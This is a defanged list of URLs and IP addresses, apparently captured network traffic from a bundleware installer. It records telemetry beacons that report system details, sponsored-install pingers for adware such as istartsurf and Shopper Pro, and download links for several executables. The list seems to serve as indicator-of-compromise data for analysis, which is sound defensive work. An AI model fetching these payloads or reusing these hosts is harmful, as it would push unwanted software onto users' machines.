hxxp://s3-website-us-east-1.amazonaws.com/apps.gif?action=install&app=70299&appver=&ver=1_36_01_22&version_date=15-04-18&bic=f1455de99fbc9c9080e7ed2fd747836eIE&verifier=b2eb32d323f5359842a735827d51a4f5&upi=f1455de99fbc9c9080e7ed2fd747836e&procid=D2C3D8ACABFF4453B526483BE0349472PI&srcid=000805&subid=0&zdata=eyJkYXRhIjp7ImRhdGUiOiJGNEl3c210eWMxLCUlUElYR1VJRChhZmY9c210eWMmc3ViPTEmcHJvZHVjdD15dGE=,&browser=ie&browserver=10&default=ie&chver=41.0.2272.118&ffver=29.0.1&iever=10.0.9200.16521&curtime=&country=ua&aver=X&installtime=1429342557&lifetime=0&silent=1&crtnm=na&procstarttime=1429342557&procruntime=16&rnd=1429342573
hxxp://s3-website-us-east-1.amazonaws.com/utility.gif?report=fdata&f=1&c=000171&i=1200&n=deploy_watchdog_start_funnel_step_name&rnd=1429342573
hxxp://s3-website-us-east-1.amazonaws.com/utility.gif?report=fdata&f=1&c=000171&i=10000&n=deploy_end_funnel_step_name&rnd=1429342573
hxxp://cds.c5z6s5a3.hwcdn.net/monetization.gif?event=4&ibic=f1455de99fbc9c9080e7ed2fd747836eIE&verifier=b2eb32d323f5359842a735827d51a4f5&campaign=000805&country=ua&app=70299&os=7(64bit)&defbro=ie&chver=41.0.2272.118&ffver=29.0.1&iever=10.0.9200.16521&starttime=1429342557&asw=0_1073750533_-2147475456_2048&browser=ff&rnd=1429342557
hxxp://installer.betterinstaller.com/pinger?event_type=install_complete&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=607deb71d8f3494f867a2b514a49c4e9&uniqid=5423049c0be0b64dd47e76f4552912c0&affiliate_id=videoplayer&software_id=videoplayer&sponsored_id=istartsurf&tokyo_csrf2_key=88966f544384af5b75c38bd84c516aee&tokyo_csrf2_timestamp=1429342472&slot_number=3&index_in_screen=1&index_in_session=3&0.9191735607749332
hxxp://installer.betterinstaller.com/pinger?event_type=install_start&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=607deb71d8f3494f867a2b514a49c4e9&uniqid=5423049c0be0b64dd47e76f4552912c0&affiliate_id=videoplayer&software_id=videoplayer&sponsored_id=appshat_madness&tokyo_csrf2_key=88966f544384af5b75c38bd84c516aee&tokyo_csrf2_timestamp=1429342472&slot_number=4&index_in_screen=1&index_in_session=4&0.13876420013356688
hxxp://xa.xingcloud.com/v4/sof-ient/267123711_198339_B48A115F?action0=xa.geoip&action2=visit&update0=ref,smt&update1=nation,us&update2=language,en&update3=version,2.8.8.2102&update4=chptid,smt	65.255.35.142
hxxp://cds.c5z6s5a3.hwcdn.net/smt2b/all/hat/row/setup.exe
hxxp://xa.xingcloud.com/v4/sof-ient/267123711_198339_B48A115F?action1=install.smt	65.255.35.142
hxxp://174.36.247.67/Fan/rebirth?uid=267123711_198339_B48A115F&ptid=smt&ver=4.0.1.1716&dname=istartsurf
hxxp://xa.xingcloud.com/v4/searchprotect/267123711_198339_B48A115F?action=visit.heartbeat.smt&update0=ref,smt&update1=nation,us&update2=language,en&update3=version,4.0.1.2105	65.255.35.142
hxxp://s3-website-us-east-1.amazonaws.com/installer.gif?action=finished&LFMR=_ffDll_0&app=70121&appver=&ver=1_36_01_22&version_date=15-04-18&bic=f1455de99fbc9c9080e7ed2fd747836eIE&verifier=b2eb32d323f5359842a735827d51a4f5&upi=f1455de99fbc9c9080e7ed2fd747836e&procid=6C010886E904470BB81A72CBEAFC3956PI&srcid=000171&subid=0&zdata=eyJkYXRhIjp7ImRhdGUiOiJGNEl6dHNtdHljMCxhMDk2OGY5ZS1lNmI2LTRiYWUtOWMxNy1jN2YxZWQ1NTA4MTgsIiwidW5xIjoiYTA5NjhmOWUtZTZiNi00YmFlLTljMTctYzdmMWVkNTUwODE4In19&browser=ie&browserver=10&default=ie&chver=41.0.2272.118&ffver=29.0.1&iever=10.0.9200.16521&curtime=&country=ua&aver=X&xpiver=0_95&crxver=1_26_32&silent=1&os=7(64bit)&osbuild=7601&osprod=Windows 7 Professional N&ossp=Service Pack 1&osinstdt=1363796288&admin=1&type=17179873281&asw=0&asw2=1073750533&asw3=-2147475456&asw4=2048&crtnm=na&procstarttime=1429342556&procruntime=20&rnd=1429342576
hxxp://cds.c5z6s5a3.hwcdn.net/monetization.gif?event=4&ibic=f1455de99fbc9c9080e7ed2fd747836eIE&verifier=b2eb32d323f5359842a735827d51a4f5&campaign=000171&country=ua&app=70121&os=7(64bit)&defbro=ie&chver=41.0.2272.118&ffver=29.0.1&iever=10.0.9200.16521&starttime=1429342556&asw=0_1073750533_-2147475456_2048&browser=ff&rnd=1429342556
hxxp://pn61ajqijj0-g48pastf.netdna-ssl.com/22693.ashx?e=ZfTZC8DxP8YdEfBWbuhmg2/xsuj8i8F3jA5kVqVgWdD8SaNRCRsmEYzpbjeDHyvNTpEYMGEbzhmLiUprcaueolse979EoWp36oJSZ1kRbBazzJrpQW66LlHmS0Zrngqa/u6z7Uinv/gCLB7Quosf1qHuu98HE7PcyETj4nts NO517CUeh0QiwTxIUcsgQ wfJnh8VDEgRSlTNRWMyvAk6UqjDuAivmJ4m/vJXDvF2G8SrVcKYQhP8obAwxzSCek2ATGx5ZDOfYQeWksviRUhaxI9Y1TT8IQh8h5o3YrXrZv qR/r3k14sbgudtyb2GHUpJKSCTMkzXQKXEmxfmo7VnJIjIlWHyXiu2tbKFpYG13f64oXp7sfd7DtEfJQoroi4lKa3GrnqJbHve/RKFqd qCUmdZEWwWUhl7fGS412w=	198.232.124.192
hxxp://pn61ajqijj0-g48pastf.netdna-ssl.com/22693.ashx?e=KSz5qzb2KgIHmSWm27gjw8xFQhk7Y4nTp1gvyxGmYnz8ln8Iap23/wrmOSgIBLqiUA7dl9owwhJifuVh7uYxtT09yWduw1Io46wiQiGDl8wEXVwQ9SUngjSag0uP4abcFjCwIjKziMWX1FtTkCv6XG80jV2uovIOGEm1J4RWiGmw6kHnR XV4QBZGQjpShx/0JQd5HxgIXdMIzvZcoSLL0kDktUKy8XV3R8ATgFru7cR fXJinWV7npoW8o/g6d5g577mTPDhZg2zg/uCXuilY0oQa07NiSGsEjASvIF4HowjBvngg2HVG/6pH veTXixuC523JvYYdSkkpIJMyTNdApcSbF ajtWckiMiVYfJeK7a1soWlgbXd/rihenux93sO0R8lCiuiLiUprcaueolse979EoWp36oJSZ1kRbBZSGXt8ZLjXbA==	198.232.124.192
hxxp://pn61ajqijj0-g48pastf.netdna-ssl.com/22693.ashx?e=KSz5qzb2KgIHmSWm27gjw8xFQhk7Y4nTp1gvyxGmYnz8ln8Iap23/wrmOSgIBLqiUA7dl9owwhJifuVh7uYxtT09yWduw1Io46wiQiGDl8wEXVwQ9SUngjSag0uP4abcFjCwIjKziMWX1FtTkCv6XG80jV2uovIOGEm1J4RWiGnVPtJ/net4ZozZSDInFTwcceLsPpRf2XIk5WdJMj/YtWaqdBifD OJxuC523JvYYdSkkpIJMyTNdApcSbF ajtWckiMiVYfJeK7a1soWlgbXd/rihenux93sO0R8lCiuiLiUprcaueolse979EoWp36oJSZ1kRbBZSGXt8ZLjXbA==	198.232.124.192
hxxp://xa.xingcloud.com/v4/sof-windowspm/?action0=xa.geoip&action1=visit&action2=install&update0=ref,wpmvt&update1=nation,us&update2=language,en	65.255.35.142
hxxp://pn61ajqijj0-g48pastf.netdna-ssl.com/22693.ashx?e=eFCD8T/coifCDzC3dWmgsvoywfXhr77bs1J ZuGTca14E7mrr1h80pGhRXiiBAM368AF84az5H21E0CX5ajlwGlDUJZW3E3DOjB5waydGzYNGzxO3tvqExwcMwvatk04mVvO2Kq2gv hQNbb34rcpkUu0QVEIiN9hhbvGCw HGGLGe0GBQxZ8R12Y34RZ2ijgb6v7cXpPvfJKubRTxkYJh48KI0fWwjBPFyFq4etD2F1daz2AcKxastnHeKqEA5dKHj74dJ/dzXsbxfWd6AL1WIDtMhwBxLHGIuOi8NF5gp/f6zGVagwUxMwCYgWOHN1EG6qTBVfIHgRBnsRJih/WW/hePtCOfZ	198.232.124.192
hxxp://s3-website-us-east-1.amazonaws.com/utility.gif?report=fdata&f=1&c=000820&i=100&n=init_start_funnel_step_name&rnd=1429342579
hxxp://xa.xingcloud.com/v4/sof-windowspm/?action=visit.heartbeat.wpmvt&update3=version,20.0.0.1953	65.255.35.142
hxxp://s3-website-us-east-1.amazonaws.com/installer.gif?action=started&app=65743&appver=0&ver=1_36_01_22&version_date=15-04-17&bic=f1455de99fbc9c9080e7ed2fd747836eIE&verifier=b2eb32d323f5359842a735827d51a4f5&upi=f1455de99fbc9c9080e7ed2fd747836e&procid=AD83A898590847B7A51FB6ED434C2082PI&srcid=000820&subid=0&zdata=appshatmadness&browser=ie&browserver=10&default=ie&chver=41.0.2272.118&ffver=29.0.1&iever=10.0.9200.16521&curtime=&country=ua&aver=X&xpiver=0_95&crxver=1_26_43&silent=1&os=7(64bit)&osbuild=7601&osprod=Windows 7 Professional N&ossp=Service Pack 1&osinstdt=1363796288&admin=1&type=85899350029&asw=0&asw2=1082139141&asw3=-2147475456&asw4=34816&crtnm=na&mdat=&procstarttime=1429342579&procruntime=2&rnd=1429342581
hxxp://s3-website-us-east-1.amazonaws.com/installer-error.gif?action=sesamy&app=65743&appver=0&ver=1_36_01_22&version_date=15-04-17&bic=f1455de99fbc9c9080e7ed2fd747836eIE&verifier=b2eb32d323f5359842a735827d51a4f5&upi=f1455de99fbc9c9080e7ed2fd747836e&procid=AD83A898590847B7A51FB6ED434C2082PI&srcid=000820&subid=0&zdata=appshatmadness&browser=ie&browserver=10&default=ie&chver=41.0.2272.118&ffver=29.0.1&iever=10.0.9200.16521&curtime=&country=ua&aver=X&error=0&silent=1&os=7(64bit)&osbuild=7601&osprod=Windows 7 Professional N&ossp=Service Pack 1&osinstdt=1363796288&admin=1&type=85899350029&asw=0&asw2=1082139141&asw3=-2147475456&asw4=34816&crtnm=na&procstarttime=1429342579&procruntime=2&rnd=1429342581
hxxp://cds.c5z6s5a3.hwcdn.net/monetization.gif?event=3&ibic=f1455de99fbc9c9080e7ed2fd747836eIE&verifier=b2eb32d323f5359842a735827d51a4f5&campaign=000820&country=ua&app=65743&os=7(64bit)&defbro=ie&chver=41.0.2272.118&ffver=29.0.1&iever=10.0.9200.16521&starttime=1429342579&asw=0_1082139141_-2147475456_34816&browser=ff&rnd=1429342579
hxxp://s3-website-us-east-1.amazonaws.com/utility.gif?report=fdata&f=1&c=000820&i=200&n=init_end_funnel_step_name&rnd=1429342582
hxxp://s3-website-us-east-1.amazonaws.com/utility.gif?report=fdata&f=1&c=000820&i=300&n=deploy_start_funnel_step_name&rnd=1429342582
hxxp://s3-website-us-east-1.amazonaws.com/utility.gif?report=fdata&f=1&c=000820&i=400&n=deploy_verifier_start_funnel_step_name&rnd=1429342583
hxxp://s3-website-us-east-1.amazonaws.com/utility.gif?report=fdata&f=1&c=000820&i=500&n=deploy_notification_start_funnel_step_name&rnd=1429342584
hxxp://s3-website-us-east-1.amazonaws.com/utility.gif?report=fdata&f=1&c=000820&i=600&n=deploy_omaha_start_funnel_step_name&rnd=1429342584
hxxp://s3-website-us-east-1.amazonaws.com/utility.gif?report=fdata&f=1&c=000820&i=700&n=deploy_ch_start_funnel_step_name&rnd=1429342584
hxxp://s3-website-us-east-1.amazonaws.com/utility.gif?report=fdata&f=1&c=000820&i=800&n=deploy_nova_start_funnel_step_name&rnd=1429342584
hxxp://s3-website-us-east-1.amazonaws.com/utility.gif?report=fdata&f=1&c=000820&i=900&n=deploy_ff_start_funnel_step_name&rnd=1429342584
hxxp://s3-website-us-east-1.amazonaws.com/utility.gif?report=fdata&f=1&c=000820&i=950&n=deploy_nova_ie_start_funnel_step_name&rnd=1429342586
hxxp://s3-website-us-east-1.amazonaws.com/utility.gif?report=fdata&f=1&c=000820&i=1000&n=deploy_ie_start_funnel_step_name&rnd=1429342586
hxxp://s3-website-us-east-1.amazonaws.com/utility.gif?report=fdata&f=1&c=000820&i=1100&n=deploy_updater_start_funnel_step_name&rnd=1429342586
hxxp://s3-website-us-east-1.amazonaws.com/utility.gif?report=fdata&f=1&c=000820&i=1200&n=deploy_watchdog_start_funnel_step_name&rnd=1429342587
hxxp://s3-website-us-east-1.amazonaws.com/utility.gif?report=fdata&f=1&c=000820&i=10000&n=deploy_end_funnel_step_name&rnd=1429342587
hxxp://s3-website-us-east-1.amazonaws.com/installer.gif?action=finished&LFMR=_ffDll_0&app=65743&appver=&ver=1_36_01_22&version_date=15-04-17&bic=f1455de99fbc9c9080e7ed2fd747836eIE&verifier=b2eb32d323f5359842a735827d51a4f5&upi=f1455de99fbc9c9080e7ed2fd747836e&procid=AD83A898590847B7A51FB6ED434C2082PI&srcid=000820&subid=0&zdata=appshatmadness&browser=ie&browserver=10&default=ie&chver=41.0.2272.118&ffver=29.0.1&iever=10.0.9200.16521&curtime=&country=ua&aver=X&xpiver=0_95&crxver=1_26_43&silent=1&os=7(64bit)&osbuild=7601&osprod=Windows 7 Professional N&ossp=Service Pack 1&osinstdt=1363796288&admin=1&type=85899350029&asw=0&asw2=1082139141&asw3=-2147475456&asw4=34816&crtnm=na&procstarttime=1429342579&procruntime=10&rnd=1429342589
hxxp://s3-website-us-east-1.amazonaws.com/apps.gif?action=install&app=65743&appver=&ver=1_36_01_22&version_date=15-04-17&bic=f1455de99fbc9c9080e7ed2fd747836eIE&verifier=b2eb32d323f5359842a735827d51a4f5&upi=f1455de99fbc9c9080e7ed2fd747836e&procid=AD83A898590847B7A51FB6ED434C2082PI&srcid=000820&subid=0&zdata=appshatmadness&browser=ie&browserver=10&default=ie&chver=41.0.2272.118&ffver=29.0.1&iever=10.0.9200.16521&curtime=&country=ua&aver=X&installtime=1429342579&lifetime=0&silent=1&crtnm=na&procstarttime=1429342579&procruntime=10&rnd=1429342589
hxxp://cds.c5z6s5a3.hwcdn.net/monetization.gif?event=4&ibic=f1455de99fbc9c9080e7ed2fd747836eIE&verifier=b2eb32d323f5359842a735827d51a4f5&campaign=000820&country=ua&app=65743&os=7(64bit)&defbro=ie&chver=41.0.2272.118&ffver=29.0.1&iever=10.0.9200.16521&starttime=1429342579&asw=0_1082139141_-2147475456_34816&browser=ff&rnd=1429342579
hxxp://bigspeedpro.com/webplayer/appshat/config.json
hxxp://appshat.com/images/64x64.ico
hxxp://appshat.com/images/16x16.ico
hxxp://appshat.com/home
hxxp://appshat.com/css/main.css
hxxp://appshat.com/css/product.css
hxxp://appshat.com/css/style.css
hxxp://appshat.com/css/lightbox.css
hxxp://appshat.com/js/scripts.js
hxxp://googleadapis.l.google.com/css?family=Abel
hxxp://googleapis.l.google.com/ajax/libs/jqueryui/1.10.3/jquery-ui.min.js
hxxp://googleapis.l.google.com/ajax/libs/jquery/1.7.2/jquery.min.js
hxxp://appshat.com/js/jquery.smooth-scroll.min.js
hxxp://appshat.com/js/lightbox.js
hxxp://appshat.com/images/logo.jpg
hxxp://appshat.com/thumbnails/banner/images/assets/b/4/b43daeae6aca6ab7d6a00084494d81db.png
hxxp://appshat.com/thumbnails/banner/images/assets/1/7/1759703220576e41cab39feb18a11b14.png
hxxp://appshat.com/thumbnails/banner/images/assets/1/3/13a052a6d8c62b7831aa10e2f6f37454.jpg
hxxp://appshat.com/thumbnails/banner/images/assets/1/f/1f8ffa22b53dfc2f6b7f1850bb6b73e8.png
hxxp://appshat.com/images/4.5stars.jpg
hxxp://gstaticadssl.l.google.com/s/abel/v6/3YEwT2a1878zysq92S8_9w.eot
hxxp://appshat.com/thumbnails/icon/images/assets/0/7/07fce0a4ff78cc7e6376e227f046ce06.png
hxxp://youtube-ui.l.google.com/analytics.js
hxxp://appshat.com/images/5.0stars.jpg
hxxp://appshat.com/thumbnails/icon/images/assets/f/4/f4e4b853ddab3b763f0af17d513631bd.png
hxxp://youtube-ui.l.google.com/r/collect?v=1&_v=j35&a=1093328678&t=pageview&_s=1&dl=http://www.appshat.com/home&ul=en-us&de=utf-8&dt=Apps Hat&sd=32-bit&sr=1716x901&vp=1018x770&je=0&_u=AEAAAAAAI~&jid=54076133&cid=408066396.1429342593&tid=UA-42656881-1&_r=1&z=1705283251
hxxp://appshat.com/images/3.0stars.jpg
hxxp://appshat.com/thumbnails/icon/images/assets/5/d/5dbc29649669598ff43174b9ee730008.png
hxxp://appshat.com/thumbnails/icon/images/assets/e/5/e54e8c720dffffa619c3b0eacec9381a.png
hxxp://appshat.com/thumbnails/icon/images/assets/8/3/83a4cee7a59522b93ed0ae1fa73ce8f3.png
hxxp://appshat.com/thumbnails/icon/images/assets/5/8/589b1e936e1f038dc45bd8ffff59b359.png
hxxp://appshat.com/thumbnails/icon/images/assets/4/f/4f263f4be4c4396c9078d1874c05b928.png
hxxp://appshat.com/thumbnails/icon/images/assets/7/d/7d4f668f3d1818d01b6b9684b669d0db.png
hxxp://appshat.com/images/4.0stars.jpg
hxxp://appshat.com/thumbnails/icon/images/assets/0/6/0692c2494a7331a77c05954f79c5480a.png
hxxp://appshat.com/images/3.5stars.jpg
hxxp://appshat.com/thumbnails/icon/images/assets/3/6/36d7cd00f07003a67021237993257d08.png
hxxp://appshat.com/thumbnails/icon/images/assets/5/8/58d196b3e886a838d021adc8c8848f1e.png
hxxp://appshat.com/thumbnails/icon/images/assets/0/0/00c73f6d4e4eb25289dddb86e2d1e319.jpg
hxxp://appshat.com/thumbnails/icon/images/assets/1/3/13ca8e322e15bc394d66a37bec12e3b4.png
hxxp://appshat.com/thumbnails/icon/images/assets/f/3/f3ad8b396434c21b4c214fd667ee391d.png
hxxp://appshat.com/thumbnails/icon/images/assets/d/a/da84c206c2019448521379d2ff837774.png
hxxp://appshat.com/thumbnails/icon/images/assets/4/4/442a5f30204dd385d17de5848683274f.png
hxxp://appshat.com/thumbnails/icon/images/assets/d/5/d586df222f5069b6c396373d67d0163b.png
hxxp://appshat.com/thumbnails/icon/images/assets/d/d/ddb3b88cf98eb0220c9e6c252e376749.png
hxxp://appshat.com/thumbnails/icon/images/assets/b/1/b147a5a09b49b133d347bd975a4c5616.png
hxxp://appshat.com/images/loading.gif
hxxp://appshat.com/images/close.png
hxxp://online.speedbit.com/online/update.aspx?CV=2.0.0.0&ProductID=12000&UserID=0bab2a10-0a3c-4ff7-bea3-06b298294831&Password=t4GCMrk5&OS=10&V=3.3.9.5&VS=1&Beta=0&Aff=smtyc0_0_0_0_0,a0968f9e-e6b6-4bae-9c17-c7f1ed550818,&BundleID=NONE&BrandID=NONE&PartnerList=&XMLVersion=20131113143800&UpdateReason=0&resver=1.0.0.8&VA_Aff=NONE&XMLUpdateFailed=0&ElapsedTime=1429342608&SBPIDS=1	212.143.22.214
hxxp://xa.xingcloud.com/v4/sof-windowspm/?action=visit.heartbeat.wpmvt	65.255.35.142
hxxp://www.theviilage.com/windowspm/up?ptid=wpmvt&sid=WindowsMangerProtect&ln=en_us&ver=20.0.0.1953&uid=&upv=	208.43.69.149
hxxp://dl.ourinputinfonet.com/spd/shopp/sense9.exe	69.16.175.10
hxxp://install-cdn.theswiftrecord.com/sd?is=sm	87.245.216.114
hxxp://8vcyzxssv-457zol7j.netdna-ssl.com/yta33_full.exe	198.232.124.192
hxxp://8jxn8tdj-su78sj1t.netdna-ssl.com/ShopperProJSINJFull.exe	198.232.124.192
hxxp://ajax.googleapis.com/ajax/libs/jqueryui/1.10.3/jquery-ui.min.js	216.58.211.10
hxxp://www.appshat.com/thumbnails/banner/images/assets/1/3/13a052a6d8c62b7831aa10e2f6f37454.jpg	78.138.127.8
hxxp://errors.neomapobjectrack.com/utility.gif?report=fdata&f=1&c=000805&i=10000&n=deploy_end_funnel_step_name&rnd=1429342570	54.231.65.60
hxxp://www.appshat.com/js/jquery.smooth-scroll.min.js	78.138.127.8
hxxp://rep.shopper-pro.com/app/ping.ashx?e=GFrjZskQvqOfZNC1TqAoBNpU65qec/jhTEgCpOx0T0GQL2F0hg1RiTdGGPs8AIHkGuSf5ccJqhPvYQ7YSDf5fSyjQRapHyYcFRMRf/UHQ3nU2Z1SyzBY81o8H6qezB8RqTFlxlzn4VKX1U8GGWeNj61SjtAHPTC34i7hnHdhdcduQ/fd4pcRUO5yQynRUZI5Y08jY48xBJrw5bx1Bs6wX97DtEfJQoroi4lKa3GrnqJbHve/RKFqd qCUmdZEWwW3rJXL3mb8g/H/jy8G4FGJY4SiD403Los	54.197.238.106
hxxp://rep.youtubeaccelerator.com/app/ping.ashx?e=WVbe3wHlwMEdEfBWbuhmg7WEylQmklYi3Pumfblmu5B9EKWfiY9Pr/lWymhtcc3oSGExqW4qn7xTgtGbaWrGbzEsdSRpTTrrYOU1y/YINRHLxDHmWqXbsqi/aoXv6zbrGCk/GwX8 XfjbVPsLiTKUwxuyoGlnIvKl8axoeNMkn46SEXCM79iefveis23DNM6naQQuHaXH0P7e7Z5lK2CBt35bH/eTc70z3EdWN1pnr9bmahbZLJ8Q3BYBZLbJs2rZZUU/f1SSFExPMluxhCtvoCVgVSQ8U4bxuC523JvYYdSkkpIJMyTNdApcSbF ajtWckiMiVYfJe0t1UorR32ajRt6ubd2oIq4F2xhoO7ZbWM6W43gx8rzU6RGDBhG84Zi4lKa3GrnqJbHve/RKFqd qCUmdZEWwWs8ya6UFuui5uYnlvRPjU9A==	54.197.238.106
hxxp://errors.neomapobjectrack.com/utility.gif?report=fdata&f=1&c=000820&i=950&n=deploy_nova_ie_start_funnel_step_name&rnd=1429342586	54.231.65.60
hxxp://stats.neomapobjectrack.com/apps.gif?action=install&app=70299&appver=&ver=1_36_01_22&version_date=15-04-18&bic=f1455de99fbc9c9080e7ed2fd747836eIE&verifier=b2eb32d323f5359842a735827d51a4f5&upi=f1455de99fbc9c9080e7ed2fd747836e&procid=D2C3D8ACABFF4453B526483BE0349472PI&srcid=000805&subid=0&zdata=eyJkYXRhIjp7ImRhdGUiOiJGNEl3c210eWMxLCUlUElYR1VJRChhZmY9c210eWMmc3ViPTEmcHJvZHVjdD15dGE=,&browser=ie&browserver=10&default=ie&chver=41.0.2272.118&ffver=29.0.1&iever=10.0.9200.16521&curtime=&country=ua&aver=X&installtime=1429342557&lifetime=0&silent=1&crtnm=na&procstarttime=1429342557&procruntime=16&rnd=1429342573	54.231.65.36
hxxp://rep.youtubeaccelerator.com/app/ping.ashx?e=R278SAfkg0UdEfBWbuhmg8i7y9Wq3PKH3Pumfblmu5B9EKWfiY9Pr9w9nGpQKxy70q Jjl2n6lTqMDSi8JPnXntmD8Dkx2dtxTFIShqYYGTBXl5O1yvgpiF9IrLvliBDg8 LdmjV KAMTwC1GHZcjnyUzwl0yV3mKs4wGey2R6P2TrTA1FIWLRfPsjAwYrz0BON6bpifNP90ZOR3qDKzNEkiM1XqVHspN5k/xV0ou3jDB1OlY/J/1vQgotM9HbIIwHDw 8KufmNaiBRb33Cbh3MEJ9DH/1MrsXTzfnhLtiuM8MU7L6Z1XFzslN/Oom5DbE2hSZV1srvsrduYhMMj26C9PLeYwYaPTl2pfP1 VeNlvtdc20PV5GDlNcv2CDURy8Qx5lql27Kov2qF7 s26xgpPxsF/Pl3421T7C4kylMMbsqBpZyLysUNmRCuZ3Nn	54.197.238.106
hxxp://bi.bisrv.com/pinger?event_type=install_start&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=607deb71d8f3494f867a2b514a49c4e9&uniqid=5423049c0be0b64dd47e76f4552912c0&affiliate_id=videoplayer&software_id=videoplayer&sponsored_id=istartsurf&tokyo_csrf2_key=88966f544384af5b75c38bd84c516aee&tokyo_csrf2_timestamp=1429342472&slot_number=3&index_in_screen=1&index_in_session=3&0.7220310269340358	78.138.127.15
hxxp://errors.neomapobjectrack.com/utility.gif?report=fdata&f=1&c=000820&i=1000&n=deploy_ie_start_funnel_step_name&rnd=1429342586	54.231.65.60
hxxp://rep.shopper-pro.com/app/ping.ashx?e=hNMAVKhukrzd/jwMCMorqtPoRc85Bdu1X5t0ccytewz7RH4w/5EvdQk4teRL0v HZuS0/O3oV2pBhrP9twY3lDDlic64H1m3f27u WcRw/YhuZ4SlmSTqiTJ5rC/nSg4nDgs7q5vmXmsGOqWbMqdvXVZ Zort0Xz3M2Ge/ KBdjG4Lnbcm9hh1KSSkgkzJM10ClxJsX5qO1ZySIyJVh8l6AwGw39X SPVPxSpXQH7h ov2qF7 s26xgpPxsF/Pl3421T7C4kylMMbsqBpZyLytZDXSYpq/nUDxJ w6ryxW8=	54.197.238.106
hxxp://errors.neomapobjectrack.com/utility.gif?report=fdata&f=1&c=000820&i=100&n=init_start_funnel_step_name&rnd=1429342579	54.231.65.60
hxxp://logs.neomapobjectrack.com/monetization.gif?event=3&ibic=f1455de99fbc9c9080e7ed2fd747836eIE&verifier=b2eb32d323f5359842a735827d51a4f5&campaign=000171&country=ua&app=70121&os=7(64bit)&defbro=ie&chver=41.0.2272.118&ffver=29.0.1&iever=10.0.9200.16521&starttime=1429342556&asw=0_1073750533_-2147475456_2048&browser=ff&rnd=1429342556	69.16.175.10
hxxp://install.theswiftrecord.com/if?alpha=fW4RcmUZL2gFMDccPlhqfCpCf2V9Mh1aaEhdBWMgLzJbNSBoH3JDUiloHRZhcidWcw8kXioyXjVlQi5yfSVtdg0SZE1uZSkyBncmWC1qXTZQMUpjOC46Uk0yBnFmNQ8NTE4XfVwUFAIWe1p+fSkofhwnBA8QewYvEGhDW3J7PnsnQB4PCzs/cEtZLnR6NztABHgrU3BhfTYCA2EdRh4yeXo6U2RkNhMZGgt5KQ11NDcsQXFrP0dyKXIpKBxxMS0tOSdFYS4MCG4tMhl3LghsZxx5PnQSITh9PBFRGVRTHlUabWAOICloRxxjUiF4UjN3PWgSIwQvQTtmeCIuFWx+BWI+MExQMwUqc0trWSNvRi13G3dfMEh1bCgoHVE7WlwDTmlreRgmI3FNTxQBbyoTdSomfhQmCT5NPTZ+Mj1QbiIrYH14AxJyU3g8b25WKWcMGzlLO2YxTzMhDjUdSjBfEHB0KD9qDn12dlQcAB0hLk15fTcpUioQfQR+cCV3NREjc3gxaHIZFmpZbBEmMAd9NAR4J0MzMgRGf3o+fRBROFUNZ04WBU5bMD91QRxweBBSfGJgZXVyWl4sWipsNwcVB38xLSsLK1FXKQIyc08iZARTeH4TRSRkYmN2fzI4ETYiIxRYMgU=
hxxp://errors.neomapobjectrack.com/utility.gif?report=fdata&f=1&c=000820&i=200&n=init_end_funnel_step_name&rnd=1429342582	54.231.65.60
hxxp://rep.shopper-pro.com/app/ping.ashx?e=GFrjZskQvqOfZNC1TqAoBNpU65qec/jhTEgCpOx0T0GQL2F0hg1RiTdGGPs8AIHkGuSf5ccJqhPvYQ7YSDf5fSyjQRapHyYcFRMRf/UHQ3n lPuSoguSWxrRu4kWrXNynl1xOKDZuhV32iCW81wbGIRZ1/hnxglElWZK2fQmsSQC hDpiFno9PeJIUUI29KJua/YhbaaQtbhLKDJ7gHH44roFtpr/bY5GbVYBUSgIm SzJtLg64wtyn9/rMZVqDBTEzAJiBY4c3UQbqpMFV8geBEGexEmKH9nyM8MCRSz4SmrvcVl0Mf/w==	54.197.238.106
hxxp://errors.neomapobjectrack.com/utility.gif?report=fdata&f=1&c=000171&i=1100&n=deploy_updater_start_funnel_step_name&rnd=1429342571	54.231.65.60
hxxp://www.appshat.com/js/scripts.js	78.138.127.8
hxxp://wt94bf4ec-g48pastf.netdna-ssl.com/install.ashx?e=37A8KpTgCn/T6EXPOQXbtSAtJ9efAD8qWca3XTKXJfYriJQgYTNdKsv4S/K6mfkWhIAbznvPq9KP4omGccpXw4yox39H7ctICby7qJ3JU/SrJhv0HKSN7fI2lN9tDRbVkdht9YBbn9NoW7mKnZ2EeHpRzM4tyPZ3W7FDeAWA9Q/G654koUNxkLUc4qeQHCoOK1sXKQZB4UkN5AqUm 96JtZ5hL1HPq8nXsIaxVmBeU79Kie/LCIfOGpkkoDB4y5kAJGoigvdQGp5xWkDFBX92oFYZy qCT/5K1sXKQZB4UkN5AqUm 96JtZ5hL1HPq8ny7WsPczQMmyLRljH8EFj00ma0WEFIKwgjT3PDNDBdmkhmqfz4qG /vt4TSnxe7XfnppDKwHRUtU0CISimmamQML/m4OXaZd gaeVbPF6HcvEyf30yPCIJLXqNtnRHDA4DzNDEy52qtOrMrg41l/Ly7CST5Ycto3cE6nMAQ0x67lxVrNxtz1yEY22HuccM6FSHGIuOi8NF5gp/f6zGVagwUxMwCYgWOHN1EG6qTBVfIHgRBnsRJih/WW/hePtCOfZ	198.232.124.192
hxxp://stats.neomapobjectrack.com/installer.gif?action=started&app=70121&appver=0&ver=1_36_01_22&version_date=15-04-18&bic=f1455de99fbc9c9080e7ed2fd747836eIE&verifier=b2eb32d323f5359842a735827d51a4f5&upi=f1455de99fbc9c9080e7ed2fd747836e&procid=6C010886E904470BB81A72CBEAFC3956PI&srcid=000171&subid=0&zdata=eyJkYXRhIjp7ImRhdGUiOiJGNEl6dHNtdHljMCxhMDk2OGY5ZS1lNmI2LTRiYWUtOWMxNy1jN2YxZWQ1NTA4MTgsIiwidW5xIjoiYTA5NjhmOWUtZTZiNi00YmFlLTljMTctYzdmMWVkNTUwODE4In19&browser=ie&browserver=10&default=ie&chver=41.0.2272.118&ffver=29.0.1&iever=10.0.9200.16521&curtime=&country=ua&aver=X&xpiver=0_95&crxver=1_26_32&silent=1&os=7(64bit)&osbuild=7601&osprod=Windows 7 Professional N&ossp=Service Pack 1&osinstdt=1363796288&admin=1&type=17179873281&asw=0&asw2=1073750533&asw3=-2147475456&asw4=2048&crtnm=na&mdat=&procstarttime=1429342556&procruntime=7&rnd=1429342563	54.231.65.36
hxxp://www.appshat.com/images/64x64.ico	78.138.127.8
